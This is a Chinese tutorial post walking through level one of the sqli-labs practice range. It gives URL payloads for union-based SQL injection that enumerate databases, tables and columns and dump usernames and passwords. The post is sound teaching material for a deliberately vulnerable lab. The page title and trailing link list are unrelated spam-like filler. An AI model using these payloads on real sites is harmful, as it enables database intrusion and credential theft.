当前位置: 首页 > news >正文

一个企业网站的建设流程公司网站制作导航

一个企业网站的建设流程,公司网站制作导航,自己有域名怎么建网站,软件工程师英文目录 一、判断是否存在注入点 二、构造类似?id1 --的语句 三、判断数据表中的列数 四、使用union联合查询 五、使用group_concat()函数 六、爆出数据库中的表名 七、爆出users表中的列名 八、爆出users表中的数据 🌈嗨!我是Filotimo__🌈。很…

 

目录

一、判断是否存在注入点

二、构造类似?id=1' --+的语句

三、判断数据表中的列数

四、使用union联合查询

五、使用group_concat()函数

六、爆出数据库中的表名

七、爆出users表中的列名

八、爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

打开 sqli靶场第一关,以下是通关思路:

一、判断是否存在注入点

首先进行初步的试探,构造?id=1 and 1=1,页面正常

构造?id=1 and 1=2,页面正常

继续构造?id=1' and '1'='1,页面正常

构造?id=1' and '1'='2 ,页面无回显,判断为字符型注入。

二、构造类似?id=1' --+的语句

构造类似?id=1' --+的语句,我们可以在 ?id=1' 和 --+ 中间插入select语句,进行我们想要的操作。

在这个注入尝试中,' 是一个闭合单引号,用于关闭原始的查询语句中的引号,并添加注释符 -- 来注释掉后续的语句。+ 是空格的URL编码表示,用于在URL中表示空格。

三、判断数据表中的列数

这一步是为了使用union联合查询。

构造?id=1' order by 5 --+,出现如图回显,说明5超出了数据表中列的范围

构造?id=1' order by 4 --+,仍然超出

构造?id=1' order by 3 --+,正常回显,说明当前表只有3列

四、使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

构造如下语句:

?id=1' union select 1,2,schema_name from information_schema.schemata--+

后来发现只回显了数据库的第一行

继续构造

?id=' union select 1,2,schema_name from information_schema.schemata--+

这里去掉了id=1'中的1,使其为空。结果是我们终于回显出了数据库名

五、使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

这里我们可以使用group_concat()函数,一次性的把库名显示出来:

?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

六、爆出数据库中的表名

我们可以爆出数据库中的表名了,这里以information_schema为例

构造如下语句:

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

七、爆出users表中的列名

构造如下语句获得users表中的列名:

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

八、爆出users表中的数据

我们还能继续获得信息

(1)查看users表中所有的用户:

?id=' union select 1,2,group_concat(username) from security.users --+

(2)查看users表中所有的用户密码:

?id=' union select 1,2,group_concat(password) from security.users --+

(3)concat_ws(':',A,B)函数拼接信息:

这里可以用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

sqli靶场第一关通关思路到此结束

http://www.yayakq.cn/news/34973/

相关文章:

  • 未成年人做网站wordpress 4.5 安装失败
  • 三合一网站方案十大装修公司
  • 资源站源码永久域名绑定网站提示正在建设
  • 公司做网站的多吗wordpress采集长腿蜘蛛
  • 沧州企业网站制作温州建设工程信息网站
  • 网站响应是什么广告策划书的格式
  • 网站建设区域代理做旅游攻略网站
  • 阿里云9元做网站人工智能网页设计
  • 网站底部连接怎么做建站之星官方网站
  • 制作网站的公司网站用户账号ip查询
  • 网站上切换语言是怎么做的网站首页适合vue做吗
  • 西安信誉好的做网站的网页翻译不了
  • html 手机网站开发公司网站建设代理
  • 网站建设图片怎么动在线设计图片网站总结
  • 南京制作企业网站常德政务网站
  • 深圳服务好的网站建设黑帽seo关键词优化
  • 搜狐快站怎么做网站大数据营销有哪些方面的应用
  • 许昌市做网站公司汉狮价格深圳外贸网站建设企业
  • 重庆有效的网站推广做网站需要学的语言和软件
  • 建设网站大全中国国家培训网
  • 织梦网站搬迁定制网站建设
  • 一站式做网站哪家好个人网站心得
  • 太原企业建站系统金融营销的网站设计案例
  • 佛山新网站建设代理商小公司做网站需要注意什么
  • 网站建设包括哪些方面的费用大连知名互联网公司
  • 中亿丰建设集团股份有限公司网站电商网站开题报告
  • 网站开发和网站制作的区别宁波营销型网站建设优化建站
  • 辽宁同鑫建设网站3seo
  • 一_ 写出几种常见的网站开发语言_试述其特点做一个基础的企业网站多少钱
  • 婚恋网站建设方案自己做qq代刷网站要钱吗